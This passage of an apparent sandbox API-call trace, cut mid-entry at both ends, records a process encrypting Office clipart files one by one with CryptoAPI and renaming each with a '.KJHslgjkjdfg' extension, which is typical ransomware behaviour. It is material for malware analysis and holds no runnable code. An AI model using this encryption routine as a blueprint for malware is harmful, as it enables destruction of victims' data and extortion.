pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0194.868] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0194.868] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0194.870] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0194.870] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0194.870] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0194.870] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0194.870] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0194.871] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0194.871] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0194.871] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0194.871] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x820, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x820, lpOverlapped=0x0) returned 1 [0194.871] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x820, dwBufLen=0x820 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x820) returned 1 [0194.871] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0194.871] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x820, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x820, lpOverlapped=0x0) returned 1 [0194.871] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0194.871] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x8f4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0194.871] SetEndOfFile (hFile=0x130) returned 1 [0194.874] GetProcessHeap () returned 0x2ef0000 [0194.874] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0194.874] GetProcessHeap () returned 0x2ef0000 [0194.874] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0194.874] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01166_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01166_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01166_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01166_.wmf.kjhslgjkjdfg")) returned 1 [0194.875] CloseHandle (hObject=0x130) returned 1 [0194.875] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x60714670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x820, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="DD01167_.WMF", cAlternateFileName="")) returned 1 [0194.875] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01167_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01167_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0194.875] GetProcessHeap () returned 0x2ef0000 [0194.875] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0194.875] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0194.876] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0194.876] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0194.876] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0194.876] GetProcessHeap () returned 0x2ef0000 [0194.876] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0194.876] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0194.876] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0194.876] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0194.877] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0194.877] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0194.877] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0194.877] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0194.878] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0194.878] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0194.878] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0194.878] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0194.878] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x820, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x820, lpOverlapped=0x0) returned 1 [0194.878] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x820, dwBufLen=0x820 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x820) returned 1 [0194.878] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0194.878] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x820, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x820, lpOverlapped=0x0) returned 1 [0194.878] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0194.878] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x8f4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0194.878] SetEndOfFile (hFile=0x130) returned 1 [0194.880] GetProcessHeap () returned 0x2ef0000 [0194.880] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0194.880] GetProcessHeap () returned 0x2ef0000 [0194.880] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0194.880] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01167_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01167_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01167_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01167_.wmf.kjhslgjkjdfg")) returned 1 [0194.881] CloseHandle (hObject=0x130) returned 1 [0194.881] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x51d817b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x7d4, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="DD01168_.WMF", cAlternateFileName="")) returned 1 [0194.881] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01168_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01168_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0194.882] GetProcessHeap () returned 0x2ef0000 [0194.882] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0194.882] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0194.882] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0194.882] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0xc, lpOverlapped=0x0) returned 1 [0194.884] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0194.884] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0194.884] GetProcessHeap () returned 0x2ef0000 [0194.884] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0194.884] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0194.885] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0194.885] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0194.885] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0194.885] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0194.885] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0194.885] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0194.885] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0194.885] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0194.885] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0194.885] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0194.885] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x7d4, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x7d4, lpOverlapped=0x0) returned 1 [0194.885] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x7e0, dwBufLen=0x7e0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x7e0) returned 1 [0194.885] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0194.886] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x7e0, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x7e0, lpOverlapped=0x0) returned 1 [0194.886] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0194.886] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x8b4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0194.886] SetEndOfFile (hFile=0x130) returned 1 [0194.889] GetProcessHeap () returned 0x2ef0000 [0194.889] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0194.889] GetProcessHeap () returned 0x2ef0000 [0194.889] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0194.889] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01168_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01168_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01168_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01168_.wmf.kjhslgjkjdfg")) returned 1 [0194.890] CloseHandle (hObject=0x130) returned 1 [0194.890] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x51d817b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x7e4, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="DD01169_.WMF", cAlternateFileName="")) returned 1 [0194.890] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01169_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01169_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0194.892] GetProcessHeap () returned 0x2ef0000 [0194.892] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0194.892] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0194.892] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0194.892] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0xc, lpOverlapped=0x0) returned 1 [0194.895] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0194.895] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0194.895] GetProcessHeap () returned 0x2ef0000 [0194.895] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0194.895] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0194.895] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0194.895] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0194.895] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0194.895] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0194.895] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0194.896] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0194.896] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0194.896] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0194.896] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0194.896] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0194.896] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x7e4, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x7e4, lpOverlapped=0x0) returned 1 [0194.896] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x7f0, dwBufLen=0x7f0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x7f0) returned 1 [0194.896] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0194.896] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x7f0, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x7f0, lpOverlapped=0x0) returned 1 [0194.896] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0194.896] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x8c4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0194.896] SetEndOfFile (hFile=0x130) returned 1 [0194.899] GetProcessHeap () returned 0x2ef0000 [0194.899] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0194.899] GetProcessHeap () returned 0x2ef0000 [0194.899] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0194.899] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01169_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01169_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01169_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01169_.wmf.kjhslgjkjdfg")) returned 1 [0194.900] CloseHandle (hObject=0x130) returned 1 [0194.901] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6073a7d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x964, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="DD01170_.WMF", cAlternateFileName="")) returned 1 [0194.901] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01170_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01170_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0194.901] GetProcessHeap () returned 0x2ef0000 [0194.901] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0194.901] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0194.901] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0194.901] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0xc, lpOverlapped=0x0) returned 1 [0194.904] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0194.904] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0194.904] GetProcessHeap () returned 0x2ef0000 [0194.904] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0194.904] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0194.904] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0194.904] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0194.904] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0194.904] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0194.905] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0194.905] SetFilePointerEx (in: 